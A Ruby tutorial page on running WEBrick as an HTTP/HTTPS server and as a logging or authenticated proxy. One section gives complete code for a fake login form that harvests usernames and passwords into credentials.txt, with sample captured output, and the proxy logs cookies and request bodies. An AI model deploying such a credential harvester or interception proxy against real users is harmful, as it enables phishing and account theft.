Ruby as Web Server and Proxy

Web Server

You can run Ruby as web server for any folder/file on any unused port

  1. ruby -run -e httpd /var/www/ -p 8000

or

  1. require 'webrick'
  2. server = WEBrick::HTTPServer.new :Port => 8000, :DocumentRoot => '/var/www/'
  3. # WEBrick::Daemon.start # Stating WEBRick as a daemon
  4. server.start

HTTPS server

  1. require 'webrick'
  2. require 'webrick/https'
  3. cert = [
  4. %w[CN localhost],
  5. ]
  6. server = WEBrick::HTTPServer.new(:Port => 8000,
  7. :SSLEnable => true,
  8. :SSLCertName => cert,
  9. :DocumentRoot => '/var/www/')
  10. server.start

Advanced HTTP Server

During working on CVE-2016-4971(Wget) exploit, more advanced & custom behavior needed. Here is a web server with a fake login form that saves the collected credentials to a text file. This comes in handy when you don’t need to make customizations on apache config or you don’t have enough privileges to do so. It require no knowledge for web frameworks like Rails or Senatra.

  1. #!/usr/bin/env ruby
  2. #
  3. # KING SABRI | @KINGSABRI
  4. #
  5. require 'webrick'
  6. #
  7. # Servlet: Is a Web Server with custom behavior class
  8. # It's a subclass of WEBrick::HTTPServlet::AbstractServlet
  9. #
  10. class RubyfuServlet < WEBrick::HTTPServlet::AbstractServlet
  11. # Control 'GET' request/response
  12. def do_GET(req, res)
  13. res.status = 200
  14. res['Content-Type'] = "text/html; charset=UTF-8"
  15. res['Server'] = "Rubyfu WebServer"
  16. res['Cache-Control'] = "no-store, no-cache,"
  17. res.body = print_login(req)
  18. end
  19. private
  20. # Show login
  21. def print_login(req)
  22. html = %q{
  23. <center>
  24. <table cellpadding="3" border="1">
  25. <tr><td colspan="2"><center><h4><b>Enter your Username and Password</b></h4></center></td></tr>
  26. <form method="POST" action="/login">
  27. <tr><td><strong><b>Username:</b></strong></td><td><input name="username" type="text"></td></tr>
  28. <tr><td><strong><b>Password:</b></strong></td><td><input name="password" type="password"></td></tr>
  29. <tr><td colspan="2"><center><h1><b><input type="submit" value="Login" /></b></h1></center></td></tr>
  30. </form>
  31. </table>
  32. </center>
  33. }
  34. end
  35. end
  36. class Login < WEBrick::HTTPServlet::AbstractServlet
  37. # Control 'POST' request/response
  38. def do_POST(req, res)
  39. status, content_type, body = save_login(req)
  40. res.body = body
  41. end
  42. # Save POST request
  43. def save_login(req)
  44. username, password = req.query['username'], req.query['password']
  45. if !(username && password).empty?
  46. # Print Credentials to console
  47. puts "\n-----[ START OF POST ]-----"
  48. puts "[+] #{username}:#{password}"
  49. puts "-----[ END OF POST ]-----\n\n"
  50. # Write Credentials to file
  51. File.open("credentials.txt", '+a') {|f| f.puts "#{username}:#{password}"}
  52. return 200, 'text/plain', 'Success! Thank you.'
  53. else
  54. puts "[!] Empty username and password."
  55. return 404, 'text/plain', 'Wrong username or password!'
  56. end
  57. end
  58. end
  59. begin
  60. port = ARGV[0]
  61. raise if ARGV.size < 1
  62. # Start Web Server
  63. puts "[+] Starting HTTP server on port: #{port}\n"
  64. server = WEBrick::HTTPServer.new(ServerName: "Rubyfu HTTP Server",
  65. Port: port,
  66. BindAddress: '0.0.0.0',
  67. AccessLog: [],
  68. Logger: WEBrick::Log.new(File.open(File::NULL, 'w'))
  69. )
  70. server.mount("/", RubyfuServlet)
  71. server.mount("/login", Login)
  72. trap "INT" do server.shutdown end
  73. server.start
  74. rescue Exception => e
  75. puts "ruby #{__FILE__} <WEB_SERVER_PORT>" if ARGV.size < 1
  76. puts e, e.backtrace
  77. exit 0
  78. end

Run it

  1. ruby webrick-server.rb 8080
  2. [+] Starting HTTP server on port: 8080
  3. -----[ START OF POST ]-----
  4. [+] admin:AdminPassw0rd@!
  5. -----[ END OF POST ]-----
  6. -----[ START OF POST ]-----
  7. [+] support:Puppies
  8. -----[ END OF POST ]-----
  9. [!] Empty username and password.
  10. -----[ START OF POST ]-----
  11. [+] user1:12345678
  12. -----[ END OF POST ]-----

You’ll find credentials have been saved in ‘credentials.txt’

References

Web Proxy

Transparent Web Proxy

  1. require 'webrick'
  2. require 'webrick/httpproxy'
  3. handler = proc do |req, res|
  4. puts "[*] Request"
  5. puts req.inspect
  6. request = req.request_line.split
  7. puts "METHOD: " + "#{request[0]}"
  8. puts "Request URL: " + "#{request[1]}"
  9. puts "Request path: "+ "#{req.path}"
  10. puts "HTTP: " + "#{request[2]}"
  11. puts "Referer: " + "#{req['Referer']}"
  12. puts "User-Agent: " + "#{req['User-Agent']}"
  13. puts "Host: " + "#{req['Host']}"
  14. puts "Cookie: " + "#{req['Cookie']}"
  15. puts "Connection: " + "#{req['Connection']}"
  16. puts "Accept: " + "#{req['accept']}"
  17. puts "Full header: " + "#{req.header}"
  18. puts "Body: " + "#{req.body}"
  19. puts "----------[END OF REQUEST]----------"
  20. puts "\n\n"
  21. puts "[*] Response"
  22. puts res.inspect
  23. puts "Full header: " + "#{res.header}"
  24. puts "Body: " + "#{res.body}"
  25. puts "----------[END OF RESPONSE]----------"
  26. puts "\n\n\n"
  27. end
  28. proxy = WEBrick::HTTPProxyServer.new Port: 8000,
  29. ServerName: "RubyFuProxyServer",
  30. ServerSoftware: "RubyFu Proxy",
  31. ProxyContentHandler: handler
  32. trap 'INT' do proxy.shutdown end
  33. proxy.start

Transparent Web Proxy with Authentication

Well, it was great to know that building a proxy server is that easy. Now we need to Force authentication to connect to the proxy server

To enable authentication for requests in WEBrick you will need a user database and an authenticator. To start, here’s a htpasswd database for use with a DigestAuth authenticator:

The :Realm is used to provide different access to different groups across several resources on a server. Typically you’ll need only one realm for a server.

  1. #!/usr/bin/env ruby
  2. require 'webrick'
  3. require 'webrick/httpproxy'
  4. # Start creating the config
  5. config = { :Realm => 'RubyFuSecureProxy' }
  6. # Create an htpasswd database file in the same script path
  7. htpasswd = WEBrick::HTTPAuth::Htpasswd.new 'rubyfuhtpasswd'
  8. # Set authentication type
  9. htpasswd.auth_type = WEBrick::HTTPAuth::DigestAuth
  10. # Add user to the password config
  11. htpasswd.set_passwd config[:Realm], 'rubyfu', 'P@ssw0rd'
  12. # Flush the database (Save changes)
  13. htpasswd.flush
  14. # Add the database to the config
  15. config[:UserDB] = htpasswd
  16. # Create a global DigestAuth based on the config
  17. @digest_auth = WEBrick::HTTPAuth::DigestAuth.new config
  18. # Authenticate requests and responses
  19. handler = proc do |request, response|
  20. @digest_auth.authenticate request, response
  21. end
  22. proxy = WEBrick::HTTPProxyServer.new Port: 8000,
  23. ServerName: "RubyFuSecureProxy",
  24. ServerSoftware: "RubyFu Proxy",
  25. ProxyContentHandler: handler
  26. trap 'INT' do proxy.shutdown end
  27. proxy.start

If you do it right, you’ll get an authentication pop-up in your browser just like below.

Web Server and Proxy - 图1